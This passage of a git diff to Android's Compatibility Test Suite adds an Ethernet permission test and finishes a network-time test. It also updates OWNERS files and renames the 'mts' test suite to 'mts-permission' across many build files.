+        // Request the current Unix epoch time again. Verify that SystemClock returns an
+        // updated time using the same NTP signal.
+        assertCurrentNetworkTimeClockInBounds(MOCKED_NTP_TIMESTAMP, beforeRefreshElapsedMillis,
+                afterRefreshElapsedMillis);
+
+        // Remove fake server response and trigger NTP refresh to simulate a failed refresh.
+        mServer.setServerReply(null);
+        executeShellCommandAndAssertOutput(
+                "cmd network_time_update_service force_refresh", "false");
+
+        // Verify that SystemClock still returns an updated time using the same NTP signal.
+        assertCurrentNetworkTimeClockInBounds(MOCKED_NTP_TIMESTAMP, beforeRefreshElapsedMillis,
+                afterRefreshElapsedMillis);
+    }
+
+    private static void executeShellCommand(String command) {
+        executeShellCommandAndAssertOutput(command, null);
+    }
+
+    private static void executeShellCommandAndAssertOutput(
+            String command, String expectedOutput) {
+        final String trimmedResult = runShellCommand(command).trim();
+        if (expectedOutput != null) {
+            assertEquals(expectedOutput, trimmedResult);
+        }
+    }
+
+    private static void runWithShellPermissionIdentity(ThrowingRunnable command)
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity();
+        try {
+            command.run();
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    /** Verify the given value is in range [lower, upper] */
+    private static void assertInRange(String tag, long value, long lower, long upper) {
+        final Range range = new Range(lower, upper);
+        assertTrue(tag + ": " + value + " is not within range [" + lower + ", " + upper + "]",
+                range.contains(value));
+    }
+
+    private static void assertCurrentNetworkTimeClockInBounds(long expectedTimestamp,
+            long beforeRefreshElapsedMillis, long afterRefreshElapsedMillis) {
+        final long beforeQueryElapsedMillis = SystemClock.elapsedRealtime();
+        final long networkEpochMillis = SystemClock.currentNetworkTimeClock().millis();
+        final long afterQueryElapsedMillis = SystemClock.elapsedRealtime();
+
+        // Calculate the lower/upper bound base on the elapsed time of refreshing.
+        final long lowerBoundNetworkEpochMillis =
+                expectedTimestamp + (beforeQueryElapsedMillis - afterRefreshElapsedMillis);
+        final long upperBoundNetworkEpochMillis =
+                expectedTimestamp + (afterQueryElapsedMillis - beforeRefreshElapsedMillis);
+        assertInRange("Network time", networkEpochMillis, lowerBoundNetworkEpochMillis,
+                upperBoundNetworkEpochMillis);
+    }
+}
diff --git a/tests/tests/os/src/android/os/storage/cts/OWNERS b/tests/tests/os/src/android/os/storage/cts/OWNERS
index 948bcad..d76ba4f 100644
--- a/tests/tests/os/src/android/os/storage/cts/OWNERS
+++ b/tests/tests/os/src/android/os/storage/cts/OWNERS
@@ -1,5 +1,5 @@
-# Bug component: 141660526
+# Bug component: 95221
 per-file CrateInfoTest.java = felkachang@google.com
 per-file StorageCrateTest.java = felkachang@google.com
 per-file StorageStatsManagerTest.java = felkachang@google.com
-
+per-file StorageManagerTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/ExcludeWatch.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/ExcludeWatch.kt
index 20cba14..b6ddd25 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/ExcludeWatch.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/ExcludeWatch.kt
@@ -28,15 +28,16 @@
 ) : TestRule {
 
     override fun apply(stmt: Statement?, desc: Description?): Statement {
-        return FeatureStatement()
+        return FeatureStatement(stmt)
     }
 
-    inner class FeatureStatement : Statement() {
+    inner class FeatureStatement(private val stmt: Statement?) : Statement() {
         override fun evaluate() {
             assumeFalse(
                 motivation,
                 packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
             )
+            stmt?.evaluate()
         }
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index b2ddba2..fdb0be4 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -30,6 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 32bfd90..2bb3dd3 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -31,7 +31,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
index a8b5b08..46b7aec 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
index 3918052..c88d0f7 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
index 08d1985..b1ef695 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
index 3ef945d..52900df 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
index f7e9089..54a575b 100644
--- a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
index afe356a..9029b3a 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
index 4b02006..04961e2 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
index 57e9b9e..687ad74 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index 4494a6f..c00d26d 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -26,7 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index fa2ee89..f9ff21c 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp
index a6de815..a3fe381 100644
--- a/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp
@@ -34,7 +34,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: [":AppThatRequestBluetoothPermission"],
 }
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp
index f3bc59b..7dc2e24 100644
--- a/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp
@@ -27,7 +27,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: [":AppThatRequestBluetoothPermission"],
 }
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp
index 0b76542..857f2e2 100644
--- a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp
@@ -27,7 +27,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: [":AppThatRequestBluetoothPermission"],
 }
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
index c3ed047..6f635c0 100644
--- a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
@@ -27,6 +27,6 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index e7fe577..1a057d0 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index 2436d07..5461844 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index f52d2dd..2dca5aa 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
index b997271..5a60a3f 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
@@ -27,6 +27,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index 4fdf8ec..de6c3cb 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -28,6 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index f04fa9b..25d9893 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index 371277c..bfeadbd 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index ea1caa8..ee3982e 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -27,6 +27,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index 67a1613..b56bb25 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -27,6 +27,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
index a653c77..c12a708 100644
--- a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
+++ b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
@@ -28,7 +28,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "mts",
+        "mts-permission",
         "general-tests",
     ],
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index 3748fbbb..6c037b4 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -27,7 +27,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index 2d72428..b949653 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -27,7 +27,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index 9fd2e98..50ae920 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 23d3b49..4663be9 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index e326c05..30019fb 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -28,7 +28,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index ef92d20..8214c42 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -28,6 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 546179f..3df5c9a 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -28,6 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index b043eb3..7dd3ef6 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -25,6 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index 5e6d68e..c58b3e81 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -25,6 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index d401f0d..6b28459 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -8,4 +8,5 @@
 per-file NoAudioPermissionTest.java = elaurent@google.com
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
-per-file NoRollbackPermissionTest.java = mpgroover@google.com
\ No newline at end of file
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
+per-file EthernetManagerPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
\ No newline at end of file
diff --git a/tests/tests/permission/StorageEscalationApp28/Android.bp b/tests/tests/permission/StorageEscalationApp28/Android.bp
index 520625a..9ea70f5 100644
--- a/tests/tests/permission/StorageEscalationApp28/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp28/Android.bp
@@ -24,7 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp29Full/Android.bp b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
index 018c324..dcb64e6 100644
--- a/tests/tests/permission/StorageEscalationApp29Full/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
@@ -24,7 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
index 5c0d89a..8a780c0 100644
--- a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
@@ -24,7 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index 4c6aab4..3043c93 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -28,6 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/src/android/permission/cts/EthernetManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/EthernetManagerPermissionTest.java
new file mode 100644
index 0000000..3c99b34
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/EthernetManagerPermissionTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.EthernetManager;
+import android.net.EthernetNetworkUpdateRequest;
+import android.net.IpConfiguration;
+import android.net.NetworkCapabilities;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+import java.util.function.BiConsumer;
+
+/**
+ * Test protected android.net.EthernetManager methods cannot be called without permissions.
+ */
+@RunWith(AndroidJUnit4.class)
+public class EthernetManagerPermissionTest {
+    private static final String TEST_IFACE = "test123abc789";
+    private EthernetManager mEthernetManager;
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mEthernetManager = mContext.getSystemService(EthernetManager.class);
+        // mEthernetManager may be null depending on the device's configuration.
+        assumeNotNull(mEthernetManager);
+    }
+
+    private EthernetNetworkUpdateRequest buildUpdateRequest() {
+        return new EthernetNetworkUpdateRequest.Builder()
+                .setIpConfiguration(new IpConfiguration.Builder().build())
+                .setNetworkCapabilities(new NetworkCapabilities.Builder().build())
+                .build();
+    }
+
+    private EthernetNetworkUpdateRequest buildUpdateRequestWithoutCapabilities() {
+        return new EthernetNetworkUpdateRequest.Builder()
+                .setIpConfiguration(new IpConfiguration.Builder().build())
+                .build();
+    }
+
+    /**
+     * Verify that calling {@link EthernetManager#updateConfiguration(String,
+     * EthernetNetworkUpdateRequest, Executor, BiConsumer)} requires permissions.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#MANAGE_ETHERNET_NETWORKS}.
+     */
+    @Test
+    public void testUpdateConfigurationRequiresPermissionManageEthernetNetworks() {
+        assertThrows("Should not be able to call updateConfiguration without permission",
+                SecurityException.class,
+                () -> mEthernetManager.updateConfiguration(TEST_IFACE,
+                        buildUpdateRequestWithoutCapabilities(), null, null));
+    }
+
+    /**
+     * Verify that calling {@link EthernetManager#enableInterface}
+     * requires permissions.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#MANAGE_ETHERNET_NETWORKS}.
+     */
+    @Test
+    public void testEnableInterface() {
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE));
+        assertThrows("Should not be able to call enableInterface without permission",
+                SecurityException.class,
+                () -> mEthernetManager.enableInterface(TEST_IFACE, null, null));
+    }
+
+    /**
+     * Verify that calling {@link EthernetManager#disableInterface}
+     * requires permissions.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#MANAGE_ETHERNET_NETWORKS}.
+     */
+    @Test
+    public void testDisableInterface() {
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE));
+        assertThrows("Should not be able to call disableInterface without permission",
+                SecurityException.class,
+                () -> mEthernetManager.disableInterface(TEST_IFACE, null, null));
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index b56ac0f..e787113 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -34,6 +34,7 @@
 import android.provider.DeviceConfig;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
@@ -263,9 +264,10 @@
     }
 
     private void clickOneTimeButton() throws Throwable {
-        UiAutomatorUtils.waitFindObject(By.res(
-                "com.android.permissioncontroller:id/permission_allow_one_time_button"), 10000)
-                .click();
+        final UiObject2 uiObject = UiAutomatorUtils.waitFindObject(By.res(
+                "com.android.permissioncontroller:id/permission_allow_one_time_button"), 10000);
+        Thread.sleep(500);
+        uiObject.click();
     }
 
     /**
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index da256dc..bbfe06c 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 61a0e76..6f0bcf1 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -26,7 +26,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index a324934..41f01e9 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -26,7 +26,7 @@
         "cts",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index 0d2f5d57..a3e1f13 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -25,7 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
